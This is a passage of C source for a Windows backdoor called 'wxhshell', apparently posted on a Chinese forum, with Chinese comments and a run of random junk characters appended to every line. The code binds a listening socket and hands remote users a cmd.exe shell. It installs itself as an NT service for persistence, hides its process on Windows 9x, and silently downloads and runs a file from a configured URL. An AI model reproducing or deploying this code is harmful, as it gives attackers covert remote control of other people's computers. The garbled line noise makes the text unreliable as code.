    switch(cmd[0]) { U;4i&=.!  
  "uT2 DY[  
  // 帮助 sve} ent  
  case '?': { h@\-]zN{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {:*G/*1[.  
    break; ej@4jpHQN  
  } U5TkgHN{y  
  // 安装 ygj%VG  
  case 'i': { U~)5{  
    if(Install()) :9ia|lN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HR"clD\{Di  
    else ]u!s-=3s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZJU %&@  
    break; sS;)d  
    } k}qQG}hB  
  // 卸载 ^|p D(v  
  case 'r': { dor1(@no|  
    if(Uninstall()) UPr& `kaJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d~rA`!s7`  
    else &9)/"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v%AepK&  
    break;  YTZ :D/  
    } Zi+FIQ(  
  // 显示 wxhshell 所在路径 Gf3-%s xA  
  case 'p': { 1fMV$T==K  
    char svExeFile[MAX_PATH]; %J9u?-~  
    strcpy(svExeFile,"\n\r"); !-^oU"  
      strcat(svExeFile,ExeFile); u"V,/1++\  
        send(wsh,svExeFile,strlen(svExeFile),0); > ^zNKgSQ  
    break; 7gN;9pc$  
    } pZopdEFDK|  
  // 重启 6E K<9M  
  case 'b': { 5,##p"O(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }T(=tfv@  
    if(Boot(REBOOT)) )Sb-e(sl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <mlN\BcX;  
    else { l+>Y  
    closesocket(wsh); !;h&@LXG(  
    ExitThread(0); 2 G2+oS ?  
    } \A01 1R&  
    break; MGMJeq vr  
    } L&)e}"  
  // 关机 !J<Xel {  
  case 'd': { 21tv(x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J&fIW Z  
    if(Boot(SHUTDOWN)) 4-SU\_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pg:xC9w4  
    else { &z40l['4bz  
    closesocket(wsh); 4gC(zJ  
    ExitThread(0); @O'NJh{D`  
    } U)Hc 7% e  
    break; X>yDj]*4P  
    } MXfyj5K  
  // 获取shell @(35I  
  case 's': { r>ed/<_>m;  
    CmdShell(wsh); 9v`sSTlSd  
    closesocket(wsh); <(@S;?ZEW  
    ExitThread(0);  8Cp@k=  
    break; Z\`SDC  
  } |yO%w#  
  // 退出 /eH37H  
  case 'x': { B E8_.>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4]tg!ks  
    CloseIt(wsh); wU!-sf;]y  
    break; BXU0f%"8U  
    } 0+op|bdj  
  // 离开 n@ba>m4{  
  case 'q': { G!sfp}qW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,LxZbo!  
    closesocket(wsh); 9uWg4U  
    WSACleanup(); n/(}|xYU  
    exit(1); ]58~b%s  
    break; Cy uRj[;B  
        } aY? VP?BL  
  } %n9ukc~$p  
  } "GZ}+K*GG  
 %V ]v,  
  // 提示信息 h M7 SGEV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9#P~cW?  
} y7:f^4  
  } K/Yeh<_&  
![ce }  
  return; y[.lfW?)  
} EGqu-WBS  
z-kv{y*Hu  
// shell模块句柄 s<#BxN  
int CmdShell(SOCKET sock) O&aD]~|  
{ //|B?4kk  
STARTUPINFO si; ElpZzGj+  
ZeroMemory(&si,sizeof(si)); x3FB`3y~s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r2+ZxMo|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z T*}KJm  
PROCESS_INFORMATION ProcessInfo; b j@R[!ss  
char cmdline[]="cmd"; $8U$.~v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S@3`H8 [  
  return 0; 4(P<'FK $  
} F*#!hWtb  
mMXDzAllB  
// 自身启动模式 rQ_cH  
int StartFromService(void) z(Uz<*h8  
{ xS%&l)dT  
typedef struct IoJI|lP  
{ qGV(p}$O  
  DWORD ExitStatus; +u=VO#IA#  
  DWORD PebBaseAddress; d2i ?FT>  
  DWORD AffinityMask; dl8f]y#Q  
  DWORD BasePriority; wT- -i@@  
  ULONG UniqueProcessId; r`<e<C  
  ULONG InheritedFromUniqueProcessId; k6z ]-XG  
}   PROCESS_BASIC_INFORMATION; qS! Lt3+  
~= c 5q  
PROCNTQSIP NtQueryInformationProcess; -f ~1Id  
zE1=P/N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QnBWZUI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &F :.V$  
; % KS?;%[  
  HANDLE             hProcess; B.od{@I(Xp  
  PROCESS_BASIC_INFORMATION pbi; FIfLDT+Wh  
C.#Ha-@uz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W&cs&>F#  
  if(NULL == hInst ) return 0; ZG1TR F "  
^pu8\K;~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QQN6\(;-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wd!Z`,R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $PRd'YdL/  
Zy9IRZe4U  
  if (!NtQueryInformationProcess) return 0; /*fx`0mY)  
G)NqIur*Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nM &a2Z,T  
  if(!hProcess) return 0; e<=Nd,v4;  
g|| q 3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cE`qfz  
YKU|D32  
  CloseHandle(hProcess); $-pijBiz_  
vv2[t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $v2t6wS,"  
if(hProcess==NULL) return 0; f ]_ki  
&g90q   
HMODULE hMod; DVwB}W~  
char procName[255]; :oW 16m1`  
unsigned long cbNeeded; XSN=0N!GB  
P8h|2,c%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JBHPI@Qt%  
@>$qb|j  
  CloseHandle(hProcess); 'L7u`  
@N<h`vDa  
if(strstr(procName,"services")) return 1; // 以服务启动 dQrz+_   
. 4RU'9M  
  return 0; // 注册表启动 NpM;vO  
} tMP"9JE,  
Oh10X.)i  
// 主模块 -&1P2m/46  
int StartWxhshell(LPSTR lpCmdLine) ws QuJrG  
{ QX}JQ<8  
  SOCKET wsl; (U$;0`  
BOOL val=TRUE; /%7&De6Xg  
  int port=0; 7D>_<)%d=  
  struct sockaddr_in door; s{7bu|0  
P"}"q ![  
  if(wscfg.ws_autoins) Install(); V>obMr^5  
u' kG(<0Y  
port=atoi(lpCmdLine); B0Z>di:  
AFBWiuwI3  
if(port<=0) port=wscfg.ws_port; fD\Fq'29{  
J[uH@3v  
  WSADATA data; N}#"o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7Q Ns q  
+3XaAk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^yl}/OD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P{ %Urv{U  
  door.sin_family = AF_INET; ^^!G{ *F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :eL[nyQr  
  door.sin_port = htons(port); U}Puq5[ ?  
pZ*%zt]-a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nvwf!iU6  
closesocket(wsl); [FF}HWf  
return 1; nTtEv~a_n  
} :EYUBtTj  
jK[*_V  
  if(listen(wsl,2) == INVALID_SOCKET) { '`<Fys&:  
closesocket(wsl); #1*7eANfr  
return 1; O<|pw  
} * Wp?0CP  
  Wxhshell(wsl); \I}EWI  
  WSACleanup(); (xTGt",_Jo  
Qa:[iF  
return 0; `jOk6;Z[  
FVL{KNW~i  
} kmu`sk"  
%;u"2L0@  
// 以NT服务方式启动 2)0J@r'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?VRsgV'$  
{ B6Ajcfy  
DWORD   status = 0; {SXSQ'=  
  DWORD   specificError = 0xfffffff; LxWd_B  
YIgHLM(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tq'ri-c&b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S!gzmkGcj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *[b>]GXd49  
  serviceStatus.dwWin32ExitCode     = 0; y4IQa.F  
  serviceStatus.dwServiceSpecificExitCode = 0; f2M*]{N  
  serviceStatus.dwCheckPoint       = 0; S|@/"?DC  
  serviceStatus.dwWaitHint       = 0; O8" t.W  
t18j2P>`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T"X]@9g^-  
  if (hServiceStatusHandle==0) return;  !j%  
?ILjt?X8  
status = GetLastError(); o_k)x3I?  
  if (status!=NO_ERROR) GRofOJ  
{ {dRZ2U3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Oi^cs=}  
    serviceStatus.dwCheckPoint       = 0; ibwV #6  
    serviceStatus.dwWaitHint       = 0; 1HAnOy0   
    serviceStatus.dwWin32ExitCode     = status; =v<A&4  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~QPTs1Vk8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); + %K~  
    return; vV 9vB3K5?  
  } EH M59s|B  
}#4Ek8nFR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cjg~?R  
  serviceStatus.dwCheckPoint       = 0; P,-5af*;  
  serviceStatus.dwWaitHint       = 0; 8>x' . 8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L1g0Dd\Ox  
} w >2G@  
I"3C/ pU2  
// 处理NT服务事件,比如:启动、停止 6H  U*,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZADMtsk  
{ ZS]Z0iZv9  
switch(fdwControl) G'w!Aw s  
{ ?)k ]Vg.  
case SERVICE_CONTROL_STOP: \.H9e/vU`  
  serviceStatus.dwWin32ExitCode = 0; Z^4+ 88  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +O9x8OPHW  
  serviceStatus.dwCheckPoint   = 0; +'olC^?5 }  
  serviceStatus.dwWaitHint     = 0; )YAU|sCAi$  
  { cVxO\M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <`; {gX1  
  } f$-n %7  
  return; 55$';gh,9  
case SERVICE_CONTROL_PAUSE: m F+8Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !V/\_P!I  
  break; Nz`v+sp  
case SERVICE_CONTROL_CONTINUE: (F.w?f4B3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #<e D  
  break; ceCO*m~  
case SERVICE_CONTROL_INTERROGATE: qS!N\p~>  
  break; Pz:,de~5Qm  
}; =VZ_';b h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e?+-~]0  
} m$v >r\*X  
\>lA2^E f  
// 标准应用程序主函数 =l*xM/S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zP2X}VLMo  
{ zYY]+)k?  
G?XA",AC  
// 获取操作系统版本 Mb\(52`)Q  
OsIsNt=GetOsVer(); ,>kVVpu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GtZ.' ?-  
cYC^;,C &|  
  // 从命令行安装 } -;)G~h/"  
  if(strpbrk(lpCmdLine,"iI")) Install(); a`f@&A`z  
<)(W7#Ks  
  // 下载执行文件 v;;3 K*c>  
if(wscfg.ws_downexe) { p0zC(v0*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LK}FI* A_  
  WinExec(wscfg.ws_filenam,SW_HIDE); vo*oCfm  
} zSfUM.fM  
`W~    
if(!OsIsNt) { Gs3V]qbEP  
// 如果时win9x,隐藏进程并且设置为注册表启动 6G"UXNa,  
HideProc(); e:'56?|  
StartWxhshell(lpCmdLine); qT5"r488  
} \ ya@9OA  
else |#Lz0<c;  
  if(StartFromService()) p?cc Bq  
  // 以服务方式启动 g9VY{[ V  
  StartServiceCtrlDispatcher(DispatchTable); g\.$4N  
else $m*Gu:#xm&  
  // 普通方式启动 NjEi.]L*fX  
  StartWxhshell(lpCmdLine); xYYa%PhIC  
p!uB8F  
return 0; rEj[XK  
}
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只看该作者 1 发表于: 2006-10-10
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